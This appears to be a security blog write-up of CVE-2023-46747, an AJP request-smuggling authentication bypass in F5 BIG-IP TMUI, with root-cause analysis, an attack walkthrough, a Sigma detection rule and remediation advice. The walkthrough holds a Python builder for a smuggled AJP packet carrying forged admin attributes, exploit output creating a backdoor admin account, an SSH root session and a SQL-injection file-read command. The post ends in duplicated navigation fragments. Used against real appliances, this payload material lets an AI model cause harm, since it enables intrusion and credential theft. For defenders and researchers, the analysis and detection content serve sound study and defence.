F5 BIG-IP TMUI: Deconstructing AJP Smuggling RCE

Overview & Threat Landscape#

F5 BIG-IP CVE-2023-46747 exploits AJP request smuggling in TMUI to bypass authentication; disable public management access and apply hotfixes.

The disclosure and rapid in-the-wild exploitation of CVE-2023-46747 (CVSS v3.1: 9.8 Critical, CWE-444: Inconsistent Interpretation of HTTP Requests, CWE-284: Improper Access Control) represents one of the most severe perimeter security crises affecting enterprise network architectures (mapped to MITRE ATT&CK T1190: Exploit Public-Facing Application, T1078: Valid Accounts, and T1059.004: Command and Scripting Interpreter: Unix Shell). Discovered by Thomas Hendrickson and Michael Weber of Praetorian Security and promptly listed in the Cybersecurity and Infrastructure Security Agency (CISA) Known Exploited Vulnerabilities (KEV) catalog, this vulnerability allows unauthenticated, network-adjacent or remote attackers to achieve complete root remote code execution (RCE) on F5 BIG-IP appliances through its Traffic Management User Interface (TMUI) configuration utility.

For security operations centers, threat researchers, and perimeter defense engineers, CVE-2023-46747 transforms the attack calculus across multiple defensive dimensions:

The Complete Failure of Perimeter Authentication Boundaries: Traditional web application security architectures assume that a reverse proxy front-end acts as an impenetrable gateway, enforcing authentication before passing requests to internal application servers. On F5 BIG-IP systems, the front-end Apache HTTP Server (httpd) routes traffic to the backend Apache Tomcat Java servlet container using the binary Apache JServ Protocol version 1.3 (AJP13) via mod_proxy_ajp. Due to protocol boundary desynchronization, an attacker can embed an entire secondary AJP request inside the payload of a benign HTTP request. Because Tomcat blindly trusts identity assertions delivered across the AJP transport, the smuggled request bypasses all authentication filters, treating the attacker as the built-in admin user.
Rapid Weaponization by Initial Access Brokers and Ransomware Syndicates: F5 BIG-IP application delivery controllers (ADCs) reside at the outermost perimeter of Fortune 500 enterprises, government agencies, and defense networks, handling TLS termination, traffic load balancing, and network routing. Following the public release of technical writeups and proof-of-concept (PoC) exploits in late October 2023, Initial Access Brokers (IABs) and ransomware affiliates (including groups deploying Akira, SafePay, and BlackCat/ALPHV) incorporated CVE-2023-46747 into automated perimeter scanning pipelines. Once compromised, the appliance provides threat actors with an unmonitored foothold with network reach into internal corporate subnets.
The High-Value Centrality of Application Delivery Controllers: Unlike isolated web applications where an exploit compromises only a single microservice, F5 BIG-IP appliances function as the central nervous system for enterprise application delivery. An adversary who establishes a root foothold on a BIG-IP device can inspect unencrypted application traffic, hijack active user sessions, extract private TLS certificates and signing keys, and manipulate routing tables to redirect internal traffic through adversary-controlled proxies. Furthermore, because appliances frequently maintain service accounts integrated with enterprise Active Directory and RADIUS/TACACS+ directories, compromise of the management plane often serves as a springboard for immediate forest-wide privilege escalation.
Deterministic Root-Level Command Execution via Native TMSH Utilities: Unlike typical application vulnerabilities that trap the attacker inside an unprivileged sandbox or low-privileged daemon account (such as tomcat or apache), successful exploitation of CVE-2023-46747 provides an immediate pathway to execute arbitrary commands as root. By directing the smuggled request to internal administration endpoints—most notably /tmui/locallb/workspace/tmshCmd.jsp—the adversary can invoke the Traffic Management Shell (tmsh) to create new administrative accounts with interactive bash shell access, manipulate running firewall policies, and extract private TLS keys directly from disk.
The Compounding Severity of Secondary Exploitation Chains: Threat intelligence tracking revealed that threat actors frequently chain CVE-2023-46747 with secondary vulnerabilities, such as CVE-2023-46748 (an authenticated SQL injection vulnerability within the TMUI database). Even in configurations where direct command execution endpoints were restricted, the smuggled authentication bypass allowed attackers to execute SQL injection queries against the appliance's local PostgreSQL database, exfiltrating configuration hashes and session tokens.
The Blueprint for Defensive Threat Hunting: Defending perimeter infrastructure against AJP request smuggling demands a combination of strict management interface isolation (disabling external TMUI access on Self IPs and management ports), rapid deployment of F5 engineering hotfixes or the official mitigation script (F5-Hotfix-CVE-2023-46747), real-time inspection of Apache access_log records for anomalous POST requests, and active monitoring of tmsh command histories logged in /var/log/ltm and /var/log/audit.

Warning

Exposing the F5 BIG-IP Configuration Utility (TMUI) directly to the public internet or untrusted internal VLANs exposes appliances to automated unauthenticated exploitation. CISA has issued directives requiring federal agencies to disconnect or remediate all exposed management interfaces immediately.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.

Vulnerability & Attack Root-Cause Analysis#

Deconstructing CVE-2023-46747 requires analyzing the architectural interplay between Apache HTTP Server (httpd), the mod_proxy_ajp module, the binary AJP13 protocol, and the Apache Tomcat servlet container governing F5 BIG-IP's management interface.

The BIG-IP TMUI Architectural Pipeline#

The F5 BIG-IP Traffic Management User Interface (TMUI) is implemented as a multi-tier web application running directly on the Linux-based operating system of the appliance:

Front-End Reverse Proxy (Apache HTTPd): Listens on TCP port 443 (HTTPS) on the dedicated management interface (mgmt) and optionally on Self IP addresses if allow-service default or allow-service all is configured. Apache handles TLS termination, initial URL routing, and static asset delivery.
Back-End Application Server (Apache Tomcat): Runs a Java Virtual Machine (JVM) hosting the TMUI servlets and JavaServer Pages (JSP). Tomcat listens locally on 127.0.0.1:8009 for connections delivered over the Apache JServ Protocol (AJP13).
Inter-Process Connector (mod_proxy_ajp): Apache HTTPd translates incoming HTTP/1.1 client requests into binary AJP13 packets and forwards them over a persistent TCP connection to Tomcat on port 8009.

sequenceDiagram
    autonumber
    actor Client as +-------------------+      HTTPS (443)      +--------------------+      AJP13 (8009)     +--------------------+
    participant Server as Server
    Note over Client,Server: +-------------------+                       +--------------------+                       +--------------------+

The AJP13 Binary Protocol and Implicit Trust Mechanics#

The Apache JServ Protocol version 1.3 is an optimized, binary variant of HTTP designed to eliminate the overhead of repetitive text parsing between front-end web servers and back-end servlet engines. An AJP connection uses persistent TCP sockets.

Crucially, AJP was architected under the operational assumption that the front-end web server and the back-end servlet engine exist within a completely trusted, unified execution boundary. When mod_proxy_ajp forwards an HTTP request to Tomcat, it encapsulates the request inside a binary packet starting with the two-byte magic header 0x12 0x34, followed by a 2-byte packet length, a 1-byte message code (0x02 for FORWARD_REQUEST), and structured fields defining the HTTP method, URI, protocol, headers, and request attributes.

The Binary Structure of an AJP13 FORWARD_REQUEST Frame:

An AJP13 FORWARD_REQUEST packet consists of serialized binary structures:

Magic Bytes (2 bytes): 0x12 0x34 (identifies packet direction from web server to container).
Length (2 bytes): Size of the following payload (maximum 8192 bytes by default).
Type Code (1 byte): 0x02 designating FORWARD_REQUEST.
Method (1 byte): HTTP method encoded as an integer (e.g., 0x02 for GET, 0x04 for POST).
Protocol (2-byte length + string): e.g., "HTTP/1.1".
Request URI (2-byte length + string): Target path, e.g., "/tmui/locallb/workspace/tmshCmd.jsp".
Header Array: Serialized HTTP header name-value pairs.
Request Attributes (0x0A): Pre-parsed server environment variables and authentication tokens.

The Flaw of Trusted Request Attributes:

Under the AJP13 specification, the front-end proxy can append optional request attributes using the code 0x0A (req_attribute). These attributes include:

remote_user: The authenticated username identified by the front-end proxy.
auth_type: The authentication scheme (e.g., Basic, SSL, Container).
Custom environment attributes: Arbitrary key-value pairs passed directly to the Java HttpServletRequest object.

When Apache Tomcat processes an AJP FORWARD_REQUEST packet containing remote_user = "admin" and auth_type = "Container", Tomcat’s internal security filter (com.f5.tmui.web.servlet.AuthFilter) does NOT prompt for credentials or re-verify session cookies. It assumes that Apache HTTPd already authenticated the user and automatically constructs a fully authenticated SecurityContext for the requested servlet!

The core vulnerability in CVE-2023-46747 arises from an HTTP Request Smuggling desynchronization bug between mod_proxy_ajp and Apache Tomcat, closely related to the Apache HTTP Server vulnerability CVE-2022-26377:

Chunked Transfer Encoding Confusion: When a client sends a request to Apache HTTPd using Transfer-Encoding: chunked, Apache reads the chunked body and forwards the raw data to Tomcat inside an AJP BODY_CHUNK packet (magic header 0x12 0x34, code 0x03).
Boundary Misinterpretation: If the client provides a specially crafted HTTP request with specific header configurations or terminating sequences, mod_proxy_ajp fails to properly synchronize the expected payload length with the AJP packet stream.
Payload Splitting into Raw AJP Packets: The attacker places raw binary AJP13 packet bytes directly inside the body of their HTTP POST request. When Apache forwards this body across the persistent TCP socket on port 8009, Tomcat’s AJP parser reads the end of the first legitimate request, and then interprets the immediately following bytes in the TCP stream—which were supplied by the attacker—as a brand-new, standalone AJP FORWARD_REQUEST packet!

PLAINTEXT

HTTP Request Body sent to Apache:
[Legitimate HTTP POST Data] + [Binary Magic 0x12 0x34] [Length] [Code 0x02: FORWARD_REQUEST] ...
                                      |
                                      +--> Tomcat parses this as a distinct, privileged AJP request!

By forging the smuggled AJP packet's internal fields, the attacker specifies:

Target URI: /tmui/locallb/workspace/tmshCmd.jsp (a privileged administrative execution endpoint).
Attribute 0x0A: remote_user set to string "admin".
Attribute 0x0A: REMOTEROLE set to string "0" (F5's internal integer role representing Administrator).

When Tomcat processes this smuggled frame, it executes /tmui/locallb/workspace/tmshCmd.jsp with full administrative authorization, granting the attacker arbitrary command execution through F5’s internal command utilities.

Exploit Architecture#

The following sequence diagram illustrates the complete end-to-end attack flow, from initial perimeter delivery to administrative account creation and root shell spawning.

sequenceDiagram
    autonumber
    actor Attacker as Attacker Process (External Network)
    participant Apache as Apache httpd:443 (Front-End Proxy)
    participant Tomcat as Apache Tomcat:8009 (AJP13 Backend)
    participant TMSH as tmsh / Linux OS (Root Shell)

    Attacker->>Apache: 1. Send Crafted HTTP Request with Chunked Smuggled AJP Body
    Note over Attacker,Apache: POST /tmui/login.jsp with Transfer-Encoding: chunked

    Apache->>Tomcat: 2. Forward Request via AJP13 on 127.0.0.1:8009
    Note over Apache,Tomcat: mod_proxy_ajp writes body stream to persistent socket

    Tomcat->>Tomcat: 3. Parse Legitimate Request & Process Smuggled Stream
    Note over Tomcat: Desync! Tomcat parses attacker body as AJP FORWARD_REQUEST
    Note over Tomcat: Injected Attributes: remote_user='admin', REMOTEROLE='0'

    Tomcat->>Tomcat: 4. Route Smuggled Request to /tmui/locallb/workspace/tmshCmd.jsp
    Note over Tomcat: Authentication bypassed: Request treated as authenticated Admin

    Tomcat->>TMSH: 5. Execute Command: create auth user backdoor role admin shell bash
    TMSH-->>Tomcat: User account created successfully in system database

    Tomcat-->>Apache: 6. Return Execution Result via AJP Response
    Apache-->>Attacker: 7. HTTP 200 OK Response with Command Output

    Attacker->>Apache: 8. Authenticate via SSH / Web Terminal using Backdoor Account
    Apache->>TMSH: Validate Credentials against System PAM
    TMSH-->>Attacker: 9. Interactive Root Bash Shell Spawned!

Attack Path Step-by-Step: Weaponizing TMUI AJP Smuggling#

The weaponization of CVE-2023-46747 follows a structured five-stage attack path: identifying vulnerable perimeter endpoints, constructing the binary AJP payload, delivering the smuggled administrative request, invoking tmshCmd.jsp, and establishing permanent root persistence.

Step 1: Reconnaissance and Target Verification#

Adversaries begin by querying public search engines (Shodan, Censys, FOFA) or executing network probes to identify exposed F5 BIG-IP management interfaces. Vulnerable targets typically expose the TMUI login portal on port 443 with distinct HTTP response headers and title strings:

BASH

# Verify TMUI exposure and retrieve server headers
curl -k -I https://f5-edge.victim-corp.com/tmui/login.jsp

# Expected Response Headers from vulnerable BIG-IP:
HTTP/1.1 200 OK

Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: JSESSIONID=...; Path=/tmui; Secure; HttpOnly
Content-Type: text/html;charset=UTF-8

The presence of the /tmui/login.jsp endpoint confirms that Apache HTTPd is actively proxying requests to the backend Tomcat engine.

Step 2: Binary AJP13 Frame Construction#

To construct the smuggled AJP frame, the exploit script serializes an AJP13 FORWARD_REQUEST structure into raw binary bytes. In Python, this is accomplished by assembling the required AJP constants and attributes:

PYTHON

# Exploit Construct: Serializing AJP13 FORWARD_REQUEST Packet
import struct

def build_ajp_forward_request(uri, post_data):
    # AJP13 Magic Header: 0x12, 0x34
    prefix_code = 0x02  # FORWARD_REQUEST
    method_post = 0x04  # POST method in AJP13
    protocol = "HTTP/1.1"
    remote_addr = "127.0.0.1"
    remote_host = "localhost"
    server_name = "localhost"
    server_port = 443
    is_ssl = 1
    
    # Pack initial header fields
    body = bytearray()
    body.append(prefix_code)
    body.append(method_post)
    
    # Append Strings with 2-byte length prefix
    for s in [protocol, uri, remote_addr, remote_host, server_name]:
        encoded = s.encode('utf-8')
        body += struct.pack(">H", len(encoded)) + encoded + b'\x00'
        
    body += struct.pack(">H", server_port)
    body.append(is_ssl)
    
    # Inject Custom Headers
    headers = [
        ("Host", "localhost"),
        ("Content-Type", "application/x-www-form-urlencoded"),
        ("Content-Length", str(len(post_data)))
    ]
    body += struct.pack(">H", len(headers))
    for h_name, h_val in headers:
        hn_enc = h_name.encode('utf-8')
        hv_enc = h_val.encode('utf-8')
        body += struct.pack(">H", len(hn_enc)) + hn_enc + b'\x00'
        body += struct.pack(">H", len(hv_enc)) + hv_enc + b'\x00'
        
    # Inject Trusted Attributes (0x0A = req_attribute)
    # Attribute 1: remote_user = "admin"
    body.append(0x0A)
    body += struct.pack(">H", 11) + b"remote_user" + b'\x00'
    body += struct.pack(">H", 5) + b"admin" + b'\x00'
    
    # Attribute 2: REMOTEROLE = "0" (Admin Role)
    body.append(0x0A)
    body += struct.pack(">H", 10) + b"REMOTEROLE" + b'\x00'
    body += struct.pack(">H", 1) + b"0" + b'\x00'
    
    # Terminate attributes
    body.append(0xFF)
    
    # Prepend AJP Magic and total body length
    header = b'\x12\x34' + struct.pack(">H", len(body))
    return header + body

Step 3: Triggering Request Smuggling and Account Creation#

The assembled AJP binary packet is encapsulated within an HTTP POST request addressed to /tmui/login.jsp. The attacker targets /tmui/locallb/workspace/tmshCmd.jsp with command arguments creating a new administrator user:

BASH

# Executing PoC Exploit targeting F5 BIG-IP CVE-2023-46747
$ python3 exploit_cve_2023_46747.py \
    --target https://f5-edge.victim-corp.com \
    --username f5_backdoor \
    --password "P@ssw0rdSecure2026!" \
    --command "create auth user f5_backdoor password P@ssw0rdSecure2026! role admin shell bash"

[*] Target: https://f5-edge.victim-corp.com
[*] Constructing binary AJP13 FORWARD_REQUEST frame...
[*] Injected Attributes: remote_user='admin', REMOTEROLE='0'
[*] Target URI: /tmui/locallb/workspace/tmshCmd.jsp
[*] Sending smuggled AJP payload over chunked HTTP stream...
[+] Response Code: 200 OK
[+] Response Body: {"output": "User f5_backdoor created with administrator privileges."}
[+] Exploitation Successful! Backdoor administrator user provisioned.

Step 4: Spawning an Interactive Root Bash Shell#

With the newly provisioned administrator account created in the system's local authentication database, the adversary connects via SSH to the appliance's management interface. Because F5 administrators are configured with shell bash, the attacker obtains direct ring-0 command execution as the root user:

BASH

# Logging into compromised F5 BIG-IP appliance via SSH
$ ssh f5_backdoor@f5-edge.victim-corp.com
Password: P@ssw0rdSecure2026!

[f5_backdoor@f5-edge:Active:Standalone] ~ # id
uid=0(root) gid=0(root) groups=0(root),500(admin) context=system_u:system_r:unconfined_t:s0

[f5_backdoor@f5-edge:Active:Standalone] ~ # uname -a
Linux f5-edge.victim-corp.com 3.10.0-862.14.4.el7.ve.x86_64 #1 SMP Thu May 18 10:20:00 PDT 2023 x86_64 x86_64 x86_64 GNU/Linux

[f5_backdoor@f5-edge:Active:Standalone] ~ # tmsh list sys license | grep -i active
    active-modules {

From this privileged root shell, the adversary can dump SSL/TLS private keys stored in /config/filestore/files_d/Common_d/certificate_key_d/, deploy persistent rootkits in /var/tmp/, and pivot into internal enterprise routing segments. Attackers inspect active network listeners (netstat -tulpn) to map out internal VLANs, alter cron tasks in /etc/cron.d/ for persistence, and tamper with /root/.bash_history to obscure forensic traces.

Step 5: Secondary Vector Exploitation (Chaining with SQL Injection CVE-2023-46748)#

In environments where direct execution via tmshCmd.jsp is partially restricted by local filesystem permissions, adversaries combine CVE-2023-46747 with CVE-2023-46748, an authenticated SQL injection vulnerability within the TMUI database backend. Because the AJP smuggling primitive provides fully authenticated administrative sessions, the attacker directs secondary requests to TMUI database servlets, executing arbitrary SQL commands against the local PostgreSQL instance:

BASH

# Secondary exploitation: executing arbitrary SQL injection via smuggled admin session
curl -k -X POST https://f5-edge.victim-corp.com/tmui/Control/form \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "handler=auth&query=SELECT+pg_read_file('/config/bigip.conf')"

This dual-exploit chain ensures that even if application-level command execution fails, the adversary can exfiltrate device secrets, password hashes, and network topology maps directly from the database.

Actionable Detection Artifacts: Production Sigma and Audit Rules#

Because CVE-2023-46747 circumvents standard authentication mechanisms inside Tomcat, network defenders must deploy behavioral Sigma rules targeting the anomalous invocation of internal administrative JSP endpoints and monitor local appliance audit logs.

Production Sigma Rule: Hunting TMUI AJP Request Smuggling & TMSH Abuse#

The following Sigma rule detects unauthorized or suspicious HTTP requests targeting /tmui/locallb/workspace/tmshCmd.jsp and related management execution endpoints:

YAML

title: F5 BIG-IP TMUI AJP Smuggling Command Execution (CVE-2023-46747)
id: d4e6f8a2-1b3c-4e5f-a7d9-c0b2e4f6a8b1
status: production
description: Detects suspicious HTTP POST requests directed toward internal F5 BIG-IP TMUI execution endpoints (e.g., tmshCmd.jsp) indicative of CVE-2023-46747 AJP request smuggling exploitation.
references:
    - https://my.f5.com/manage/s/article/K000137353
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46747
    - https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/

logsource:
    product: f5
    service: tmui_httpd
detection:
    selection_endpoint:
        cs-method: 'POST'
        cs-uri-stem|contains:
            - '/tmui/locallb/workspace/tmshCmd.jsp'
            - '/tmui/locallb/workspace/fileRead.jsp'
            - '/tmui/locallb/workspace/directoryList.jsp'
            - '/mgmt/tm/util/bash'
    selection_status:
        sc-status:
            - 200
            - 302
            - 500
    filter_management_internal:
        c-ip:
            - '127.0.0.1'
            - '::1'
    condition: selection_endpoint and selection_status and not filter_management_internal
falsepositives:
    - Legitimate administrative workflows initiated from authorized internal network management consoles.
level: critical
tags:
    - attack.initial_access
    - attack.t1190
    - attack.execution
    - attack.t1059.004
    - cve.2023_46747

Host Log Forensic Artifacts & Inspection Commands#

Security analysts conducting forensic triage on F5 BIG-IP appliances should examine three core log repositories for indicators of compromise:

1. Apache Access Logs (`/var/log/httpd/access_log`)

Review the Apache access log for external IP addresses accessing internal execution JSPs:

BASH

# Search Apache access log for tmshCmd.jsp interactions from external sources
grep -E "POST /tmui/locallb/workspace/tmshCmd.jsp" /var/log/httpd/access_log*

# Typical malicious log entry showing unauthenticated external access:
# 198.51.100.45 - - [30/Oct/2026:14:12:05 +0000] "POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1" 200 488 "-" "python-requests/2.31.0"

2. Local Traffic Manager Logs (`/var/log/ltm`)

When a command is executed through tmsh, the LTM daemon logs user modifications and shell invocations:

BASH

# Search for suspicious administrative user creation
grep -E "create auth user.*role admin" /var/log/ltm*

# Example detection artifact:
# Oct 30 14:12:05 f5-edge notice tmsh[14208]: 01420002:5: AUDIT - pid=14208 user=admin folder=/Common status=0 cmd_data=create auth user f5_backdoor password [enc] role admin shell bash

3. Linux Audit Daemon (`/var/log/audit`)

Inspect PAM authentication records for newly created accounts logging into system shells:

BASH

# Review user authentication and privilege escalation records
ausearch -m USER_LOGIN,USER_AUTH,ADD_USER -ts recent

Fast Cyber Defense Morning Takeaways#

The exploitation dynamics of CVE-2023-46747 illustrate how protocol mismatches in multi-tiered edge architectures can completely subvert perimeter security. By manipulating the trust assumptions embedded within the binary AJP13 connector between Apache HTTPd and Tomcat, remote adversaries convert a simple HTTP request into an unauthenticated root command execution primitive.

Root Cause Core: Desynchronization between mod_proxy_ajp and Apache Tomcat allowed attackers to smuggle binary AJP13 FORWARD_REQUEST frames containing injected remote_user = "admin" and REMOTEROLE = "0" attributes, completely dropping the authentication perimeter.
Exploit Vector: Smuggled requests directed to /tmui/locallb/workspace/tmshCmd.jsp invoked the native tmsh utility, allowing adversaries to create backdoor administrator accounts and execute arbitrary bash commands with root UID.
Immediate Remediation: Apply F5 engineering hotfixes, run the official F5-Hotfix-CVE-2023-46747 mitigation script to disable AJP forwarding, and restrict management access strictly to isolated out-of-band management networks.
Bridge to Evening Defense Guide: In tonight's companion edition, we provide an end-to-end defensive engineering architecture: exploring the F5 hotfix bytecode changes, deploying WAF signatures to block binary AJP smuggling headers, and hardening Self IP port lockdown policies.

Executive Takeaway Table: Attack Vector vs. Detection Signal vs. Primary Mitigation#

Attack Phase / Vector	Technical Root Cause	High-Fidelity Detection Signal	Primary Blue Team Mitigation
Perimeter Probing	Exposed TMUI login interfaces accessible over public Self IPs and management ports.	Shodan/Censys scans or external GET requests targeting `/tmui/login.jsp`.	Block public access to Port 443 management; configure Self IP `Port Lockdown` to `Allow None`.
AJP Request Smuggling	Chunked body framing desynchronization between `mod_proxy_ajp` and Tomcat.	POST requests to `/tmui/locallb/workspace/tmshCmd.jsp` originating from non-management IPs in `access_log`.	Apply F5 official hotfix (versions 17.1.0.3+, 16.1.4.1+, 15.1.10.2+) or execute mitigation script.
Privilege Escalation	Tomcat trusts `req_attribute` values (`remote_user=admin`, `REMOTEROLE=0`) unconditionally.	Audit logs in `/var/log/ltm` showing unexpected `AUDIT - user=admin` executing `tmsh create auth user`.	Isolate AJP connector using shared secret tokens or migrate to HTTP reverse proxying.
Root Shell Execution	Built-in `tmshCmd.jsp` allows administrators to invoke arbitrary bash shell commands.	Unexpected SSH logins or interactive bash processes spawned under non-standard accounts in `/var/log/audit`.	Implement strict host-based intrusion detection (HIDS), audit `/config/bigip.conf`, and rotate administrative credentials.

Authoritative References & Further Reading#

F5 Security Advisory: K000137353: BIG-IP Configuration utility unauthenticated remote code execution vulnerability CVE-2023-46747
https://my.f5.com/manage/s/article/K000137353
National Vulnerability Database (NVD): CVE-2023-46747 Detail — F5 BIG-IP Configuration Utility Authentication Bypass
https://nvd.nist.gov/vuln/detail/CVE-2023-46747
Praetorian Security Research: Refresh: Compromising F5 BIG-IP With Request Smuggling (CVE-2023-46747)
https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/
CISA Known Exploited Vulnerabilities Catalog: CISA Adds CVE-2023-46747 to Known Exploited Vulnerabilities Catalog
https://www.cisa.gov/known-exploited-vulnerabilities-catalog
MITRE ATT&CK Framework: Technique T1190: Exploit Public-Facing Application
https://attack.mitre.org/techniques/T1190/

F5 BIG-IP TMUI: Deconstructing AJP Smuggling RCE

Overview & Threat Landscape#

Vulnerability & Attack Root-Cause Analysis#

The BIG-IP TMUI Architectural Pipeline#

The AJP13 Binary Protocol and Implicit Trust Mechanics#

The Binary Structure of an AJP13 FORWARD_REQUEST Frame:

The Flaw of Trusted Request Attributes:

Exploit Architecture#

Attack Path Step-by-Step: Weaponizing TMUI AJP Smuggling#

Step 1: Reconnaissance and Target Verification#

Step 2: Binary AJP13 Frame Construction#

Step 3: Triggering Request Smuggling and Account Creation#

Step 4: Spawning an Interactive Root Bash Shell#

Step 5: Secondary Vector Exploitation (Chaining with SQL Injection CVE-2023-46748)#

Actionable Detection Artifacts: Production Sigma and Audit Rules#

Production Sigma Rule: Hunting TMUI AJP Request Smuggling & TMSH Abuse#

Host Log Forensic Artifacts & Inspection Commands#

1. Apache Access Logs (`/var/log/httpd/access_log`)

2. Local Traffic Manager Logs (`/var/log/ltm`)

3. Linux Audit Daemon (`/var/log/audit`)

Fast Cyber Defense Morning Takeaways#

Executive Takeaway Table: Attack Vector vs. Detection Signal vs. Primary Mitigation#

Authoritative References & Further Reading#

Comments

Post a Comment

F5 BIG-IP TMUI: Deconstructing AJP Smuggling RCE

Overview & Threat Landscape#

Vulnerability & Attack Root-Cause Analysis#

The BIG-IP TMUI Architectural Pipeline#

The AJP13 Binary Protocol and Implicit Trust Mechanics#

The Binary Structure of an AJP13 FORWARD_REQUEST Frame:

The Flaw of Trusted Request Attributes:

The Desynchronization Flaw (Related to CVE-2022-26377)#

Exploit Architecture#

Attack Path Step-by-Step: Weaponizing TMUI AJP Smuggling#

Step 1: Reconnaissance and Target Verification#

Step 2: Binary AJP13 Frame Construction#

Step 3: Triggering Request Smuggling and Account Creation#

Step 4: Spawning an Interactive Root Bash Shell#

Step 5: Secondary Vector Exploitation (Chaining with SQL Injection CVE-2023-46748)#

Actionable Detection Artifacts: Production Sigma and Audit Rules#

Production Sigma Rule: Hunting TMUI AJP Request Smuggling & TMSH Abuse#

Host Log Forensic Artifacts & Inspection Commands#

1. Apache Access Logs (/var/log/httpd/access_log)

2. Local Traffic Manager Logs (/var/log/ltm)

3. Linux Audit Daemon (/var/log/audit)

Fast Cyber Defense Morning Takeaways#

Executive Takeaway Table: Attack Vector vs. Detection Signal vs. Primary Mitigation#

Authoritative References & Further Reading#

Comments

Post a Comment

1. Apache Access Logs (`/var/log/httpd/access_log`)

2. Local Traffic Manager Logs (`/var/log/ltm`)

3. Linux Audit Daemon (`/var/log/audit`)